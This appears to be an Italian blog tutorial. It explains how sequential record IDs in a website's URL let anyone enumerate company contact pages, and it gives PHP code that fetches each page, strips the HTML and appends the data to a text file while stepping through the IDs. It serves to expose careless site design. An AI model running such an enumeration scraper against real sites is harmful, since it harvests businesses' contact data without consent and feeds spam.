Questo articolo tratta principalmente di insicurezza informatica e spiega come sia facile reperire dai personali di aziene presenti su internet senza il loro consenso.
Ovviamente è creato solo a scopo dimostrativo e per far capire che spesso i database aziendali che vengono.
Un database richiamato da pagine internet contiene solitamente nel suo URL alcune informazioni utili sul contenuto della pagina.
Analizziamo ad esempio la pagina: http://www.dominio.it/modules.php?name=contact&idcompany=454&file=categories&op=newindex
E' un modulo molto probabilmente creato da qualche CMS, che richiama alcune variabili:
variabile name con valore "contact"
variabile idcompany con valore "454"
variabile file con valore "categories"
variabile op con valore "newindex"
Diciamo che cliccando sul link otteniamo una pagina contenente le informazioni di un'azienda tra cui telefono, fax ed email.
La variabile idcompany è abbastanza sospetta, sicuramente se porvassimo a cambiare il valore da 454 a 123 otterremmo i dati di un'altra agenzia.
A questo punto rubare (perchè di furto si tratta) i dati delle varie aziende (diciamo che sia un sito di agenzie assicurative) presenti nel sito internet è un gioco da ragazzi.
Ovviamente non sto dicendo di scorrere manualmente ogni singola pagina e di copiare ed incollare i dati che ci interessano, ma parlo di una vera e propria procedura automatizzata che possa generarci un singolo file importabile all'interno di un DB o un foglio di calcolo.
Diciamo che la pagina contenga questo testo:
Nome agenzia: Cavaliere Assicurazioni
Indirizzo: Via dello Stagno, 1
60019 Senigallia (AN)
Telefono: +39 1234 56789 Fax +39 1234 456787
E-mail: infohotel@hotelmaxi.it
Link: www.hotelmaxi.it/hotel/index.htm
Che in codice HTML si traduce in:
<font size="2"><b>Nome agenzia: Cavaliere Assicurazioni<br>
Indirizzo: Via dello Stagno, 1<br>
60019 Senigallia (AN)<br>
Telefono: +39 1234 56789 Fax +39 1234 456787<br>
E-mail: info@cavaliereassicurazioni.it<br>
Link: http://www.cavaliereassicurazioni.it<br>
</font>
<br>
La prima cosa che dobbiamo fare è capire poter inserire il codice HTML della pagina in una variabile per poi poter dividere ciò che ci serve dal resto.
Niente di più semplice, basta utilizzare la funzione file_get_contents (PHP 4 o superiore).
$pagina = "http://www.dominio.it/modules.php?name=contact&idcompany=454&file=categories&op=newindex;
$contenuto=@file_get_contents($pagina);
A questo punto la variabile $contenuto conterrà il codice HTML della pagina che gli abbiamo indicato.
Per procedere con la divisione del codice utile da quello inutile utilizziamo questo comando:
list ($testo1, $testo2) = split ("Nome agenzia:", $contenuto);
In pratica divido in due parti la variabile $contenuto appena trovo la stringa "Nome agenzia" (ovvero quando inizia la parte che mi interessa).
list ($testo1, $testo2) = split ("</font>", $testo2);
Stessa cosa ma così arrivo ad avere nella variabile $testo1 solo la parte che mi interessa, ora pensiamo a ripulire un po' il restante.
$testo1=str_replace("Indirizzo: ","",$testo1);
$testo1=str_replace("Telefono: ","",$testo1);
$testo1=str_replace("Email: ","",$testo1);
$testo1=str_replace("Link: ","",$testo1);
In pratica così sono rimasti solo i dati utili; e per finire...
$testo1=str_replace("<br>","#",$testo1);
$testo1=str_replace("Fax: ","#",$testo1);
Così nella variabile $testo1 avrò qalcosa come:
Cavaliere Assicurazioni#Indirizzo: Via dello Stagno, 1#60019 Senigallia (AN)#+39 1234 56789 #+39 1234 456787#info@cavaliereassicurazioni.it#http://www.cavaliereassicurazioni.it#
Ovvero una riga con tutti i dati dell'agenzia separati dal carattere "#".
Sarà sufficiente scrivere questi dati su un file di testo...
$fp = fopen("agenzie.txt","a");
$riga = $testo1."\r\n";
fputs ($fp,$riga);
...e con un semplice gioco di refresh, ricaricherete questa pagina cambiando il valore della variabile idcompany richiamata nell'URL (variabile $pagina).
$pagina = "http://www.dominio.it/modules.php?name=contact&idcompany=454&file=categories&op=newindex;
$pagina = "http://www.dominio.it/modules.php?name=contact&idcompany=455&file=categories&op=newindex;
$pagina = "http://www.dominio.it/modules.php?name=contact&idcompany=456&file=categories&op=newindex;
$pagina = "http://www.dominio.it/modules.php?name=contact&idcompany=457&file=categories&op=newindex;
Non mi dilungo nei dettagli, non sarebbe politically correct. };)
Purtroppo le aziende che permettono di visualizzare i loro archivi con dei semplici elenchi numerati (a volte per poca professionalità del webmaster, più raramente per esigenze di programmazione) possono subire quest'attacco.
Ovviamente i dati così "prelevati" non possono essere utilizzati per inviare fax o intasare email con pubblicità, ma chi ricorre a questi trucchi spesso non si fa scrupoli.
La cosa curiosa è che anche le grandi aziende che vendono gli indirizzi in loro possesso non hanno preso provvedimenti, permettono a qualunque malintenzionato con un po' di conoscenze di programmazione di fargliela sotto il naso.
DISCLAMER:
Non ho fatto nulla di quanto c'è scritto, ma semplicemente è fattibile, ciò si evince dall'architettura dei vari siti che non ho citato appositamente.
|